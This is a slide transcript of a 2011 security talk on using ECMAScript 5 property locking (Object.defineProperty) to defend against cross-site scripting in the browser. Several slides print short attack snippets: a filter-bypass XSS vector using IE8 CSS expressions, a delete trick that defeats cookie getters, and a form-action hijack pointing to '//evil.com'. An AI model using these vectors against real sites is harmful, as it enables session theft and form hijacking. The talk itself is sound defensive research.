How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 

Locking the Throne Room - How ES5+ might change views on XSS and Client Side Security

  • 1. Locking the Throne Room How ES5+ might change views on XSS and Client Side Security A presentation by Mario Heiderich, 2011
  • 2. Introduction  Mario Heiderich  Researcher and PhD student at the Ruhr-University, Bochum  Security Researcher for Microsoft, Redmond  Security Consultant for XING AG, Hamburg  Published author and international speaker  HTML5 Security Cheatsheet / H5SC  PHPIDS Project
  • 3. Today's menu  JavaScript and XSS  How it all began  A brief historical overview  Cross Site Scripting today  Current mitigation approaches  A peek into the petri dishes of current development  A different approach  ES5 and XSS  Case study and discussion  Future work
  • 4. JavaScript History  Developed by Brendan Eich as LiveScript  JavaScript 1.0 published late 1995 by Netscape  Microsoft developed the JScript dialect  ECMA-262 1st Edition published in 1998  JavaScript 1.5/JScript 5.5 in November 2000  JavaScript 1.6 introducing E4X in late 2006  JavaScript 1.8 in 2008  JavaScript 1.8.5 in 2010, ECMA Script 5 compliance
  • 5. JavaScript and XSS  Cross Site Scripting  One site scripting another  Early vectors abusing Iframes  First published attacks in the late nineties  Three major variations  Reflected XSS  Persistent XSS  DOM based XSS / DOMXSS  Information theft and modification  Impersonation and leverage of more complex attacks
  • 6. The DOM  Document Object Model  Prototype based representation of HTML/XML trees  Interfaces for easy JavaScript access  Methods to read and manipulate DOM subtrees  Events to notice and process user interaction  Interaction with browser properties  Access to magic properties such as document location  Proprietary interfaces to  Crypto objects, browser components, style sheets, etc.
  • 7. XSS today  An ancient and simple yet unsolved problem  Complexity  Browser bugs  Insecure web applications  Browser plug-ins  Impedance mismatches  Application layer mitigation concepts  Risk assessment and ignorance  New features and spec drafts enabling 0-day attacks  XSS is a user agent problem! Nothing else!
  • 8. Mitigation History  Server side  Native runtime functions, strip_tags(), htmlentities(), etc.  Runtime libraries and request validation  External libraries filtering input and output  HTMLPurifier, AntiSamy, kses, AntiXSS, SafeHTML  HTTPOnly cookies  Client side protection mechanisms  toStaticHTML() in IE8+ and NoScript  IE8+ XSS filter and Webkit XSS Auditor  Protective extensions such as NoScript, NotScripts  Upcoming approaches such as CSP
  • 9. Impedance mismatch  Layer A is unaware of Layer B capabilities and flaws  Layer A deploys the attack  Layer B executes the exploit  Case study:  HTMLPurifier 4.1.1  Server side HTML filter and XSS mitigation library  Internet Explorer 8, CSS expressions and a parser bug  <a style="background:url('/',! @x:expression(write(1))//)!'');"></a>
  • 10. More Examples  Real World Attack Samples  Making websites vulnerable that aren't  Proving server side filters plain ineffective  Exploding XML Namespaces  Generating tags from dust  Exploiting CSS Escape decompilation  The backtick trick  VM →
  • 11. Further vectors  Plug-in based XSS  Adobe Reader  Java applets  Flash player  Quicktime videos  SVG images  Charset injection and content sniffing  UTF-7 XSS, EBCDIC, MacFarsi, XSS via images  Chameleon files, cross context scripting, local XSS  DOMXSS
  • 12. Quintessence  Server side filtering of client side attacks  Useful and stable for basic XSS protection  Still not remotely sufficient  Affected by charsets, impedance mismatch  Subverted by browser bugs an parser errors  Rendered useless by DOMXSS  Bypassed via plug-in based XSS  Helpless against attacks deployed from different servers  Not suitable for what XSS has become  The server cannot serve protection for the client
  • 13. Revisiting XSS  XSS attacks target the client  XSS attacks are being executed client side  XSS attacks aim for client side data and control  XSS attacks impersonate the user  XSS is a client side problem  Sometimes caused by server side vulnerabilities  Sometimes caused by a wide range of problems transparent for the server  Still we try to improve server side XSS filters
  • 14. Idea  Prevention against XSS in the DOM  Capability based DOM security  Inspired by HTTPOnly  Cookies cannot be read by scripts anymore  Why not changing document.cookie to do so  JavaScript up to 1.8.5 enabled this  Unfortunately Non-Standard  Example →
  • 15. __defineGetter__() <script> document.__defineGetter__('cookie', function(){ alert('no cookie access!'); return false; }); </script> … <script> alert(document.cookie) </script>
  • 16. Problems  Proprietary – not working in Internet Explorer  Loud – an attacker can fingerprint that modification  Not tamper resistant at all  JavaScript supplies a delete operator  Delete operations on DOM properties reset their state  Getter definitions can simply be overwritten  Object getters - invalid for DOM protection purposes  Same for setters and overwritten methods
  • 17. Bypass <script> document.__defineGetter__('cookie', function(){ alert('no cookie access!'); return false; }); </script> … <script> delete document.cookie; alert(document.cookie) </script>
  • 18. Tamper Resistance  First attempts down the prototype chain  document.__proto__.__defineGetter__()  Document.prototype  Components.lookupMethod(document, 'cookie')  Attempts to register delete event handlers  Getter and setter definitions for the prototypes  Setter protection for setters  Recursion problems  Interval based workarounds and race conditions  JavaScript 1.8 unsuitable for DOM based XSS protection
  • 19. ECMA Script 5  Most current browsers use JavaScript based on ES3  Firefox 3  Internet Explorer 8  Opera 11  Few modern ones already ship ES5 compliance  Google Chrome  Safari 5  Firefox 4  Internet Explorer 9
  • 20. Object Extensions  Many novelties in ECMA Script 5  Relevance for client side XSS mitigation  Object extensions such as  Object.freeze()  Object.seal()  Object.defineProperty() / Object.defineProperties()  Object.preventExtensions()  Less relevant but still interesting  Proxy Objects  More meta-programming APIs  Combinations with DOM Level 3 events
  • 21. ({}).defineProperty()  Object.defineProperty() and ..Properties()  Three parameters  Parent object  Child object to define  Descriptor literal  Descriptors allow to manipulate  Get / Set behavior  Value  “Enumerability”  “Writeability”  “Configurability”  Example →
  • 22. Example <script> Object.defineProperty(document, 'cookie', { get: function(){return:false}, set: function(){return:false}, configurable:false }); </script> … <script> delete document.cookie; alert(document.cookie); </script>
  • 23. configurable:false  Setting “configurability” to false is final  The object description is stronger than delete  Prototype deletion has to effect  Re-definition is not possible  Proprietary access via Components.lookupMethod() does not deliver the native object either  With this method call cookie access can be forbidden  By the developer  And by the attacker
  • 24. Prohibition  Regulating access in general  Interesting to prevent cookie theft  Other properties can be blocked too  Method access and calls can be forbidden  Methods can be changed completely  Horizontal log can be added to any call, access and event  That is for existing HTML elements as well  Example →
  • 25. Action Protection <script> var form = document.getElementById('form'); Object.defineProperty(form, 'action', { set: IDS_detectHijacking, get: IDS_detectStealing, configurable:false }); </script> … <script> document.forms[0].action='//evil.com'; </script>
  • 26. First Roundup  Access prohibition might be effective  Value and argument logging helps detecting attacks  Possible IDS solutions are not affected by heavy string obfuscation  No impedance mismatches  Attacks are detected on they layer they target  Parser errors do not have effect here  No effective charset obfuscations  Immune against plug-in-deployed scripting attacks  Automatic quasi-normalization
  • 27. Limitations  Blacklisting approach  Continuity issues  Breaking existing own JavaScript applications  Forbidding access is often too restrictive  Breaking third party JavaScript applications  Tracking scripts (Google Analytics, IVW, etc.)  Advertiser controlled scripts  Small adaption rate, high testing effort  No fine-grained or intelligent approach
  • 28. Going Further  No access prohibitions but RBAC via JavaScript  Possible simplified protocol  Let object A know about permitted accessors  Let accessors of object A be checked by the getter/setter  Let object A react depending on access validity  Seal object A  Execute application logic  Strict policy based approach  A shared secret between could strengthen the policy  Example →
  • 29. RBAC and IDS <script> Object.defineProperty(document, 'cookie', { set:RBAC_checkSetter(IDS_checkArguments()), get:RBAC_checkGetter(IDS_checkArguments()) configurable:false }); // identified via arguments.callee.caller My.allowedMethod(document.cookie); </script> … <script> alert(document.cookie) </script>
  • 30. Forced Introspection  Existing properties can gain capabilities  The added setter will know:  Who attempts to set  What value is being used  The added getter will know:  Who attempts to get  An overwritten function will know:  How the original function looked like  Who calls the function  What arguments are being used  IDS and RBAC are possible  Tamper resistance thanks to configurable:false
  • 31. Case Study I  Stanford JavaScript Crypto Library  AES256, SHA256, HMAC and more in JavaScript  „SJCL is secure“  Not true from an XSS perspective  Global variables  Uses  Math.floor(), Math.max(), Math.random()  document.attachEvent(), native string methods etc.  Any of which can be attacker controlled  High impact vulnerabilities ahead...
  • 32. Case Study II  BeEF – Browser Exploitation Framework  As seen some minutes ago ☺  Uses global variables  window.beef = BeefJS;  Attacker could seal it with Object.defineProperty()  Else the defender could “counterbeef” it  BeEF XSS = Exploiting the exploiter  Maybe a malformed UA string? Or host address?
  • 33. Deployment  Website owners should obey a new rule  „The order of deployment is everything“  As long as trusted content is being deployed first  Object.defineProperty() can protect  Sealing can be used for good  The script deploying first controls the DOM  Persistent, tamper resistant and transparent  Self-defense is possible  Example →
  • 34. !defineProperty() <html> <head> <script> … Object.defineProperty(Object, 'defineProperty' { value:[], configurable:false }); </script> … <script> Object.defineProperty(window,'secret', { get:stealInfo }); // TypeError </script>
  • 35. Reflection  Where are we now with ES5?  Pro:  We can fully restrict property and method access  We have the foundation for a client side IDS and RBAC  We can regulate Object access, extension and modification  CSP and sandboxed Iframes support this approach  Contra:  It's a blacklist  Magic properties cause problems  We need to prevent creation of a fresh DOM  Right now the DOM sucks!  Still we can approach XSS w/o any obfuscation
  • 36. Easing Adaptation  JS based IDS and RBAC is not easy to grasp  Possible adaptation boosters include  Usage ready libraries  Well readable policy files (JSON)  GUI Tools for individual policies  Automated parsing of existing libraries and scripts  Security levels and developer compatible docs  Community driven hardening and vendor adaptation  Interfaces to server-side filter logic  Spreading awareness for security sake!
  • 37. Future Work I  We need to fix the DOM  Heard of the addEventListener() black-hole?  Specify a whitelist based approach  Refine event handling and DOM properties  DOMBeforeSubtreeModified  DOMBeforeInsertNode  DOMBefore...  We need DOM Proxies!  The DOM needs more “trustability”  Monitor and contribute to ES6 and ES7
  • 38. Future Work II  Address browser vendors about concerns and bugs  Double freezing, lack of ES5 support, peculiarities  Find better ways to treat JavaScript URIs  Provide a safe and homogeneous DOM  Create a model framework, support majors libraries  Learn from other sandbox approaches  Academic publications, acquire early adopters  Spread awareness on ES5+ and the attached implications  Finally, somehow tell online advertisers in a charming way, what they have to expect soon...
  • 39. Wrap-Up  XSS remains undefeated  RIAs gain complexity and power  Client-agnostic server side filters designed to fail  Time for a new approach  Still a lot of work to be done  No one said it'd be easy
  • 40. Questions  Thanks for your time!  Discussion?  Thanks for advice and contribution:  Gareth Heyes  Stefano Di Paola  Eduardo Vela  John Wilander and Mattias Bergling  Jonas Magazinius  Michele Orru  Phung et al.  All unmentioned contributors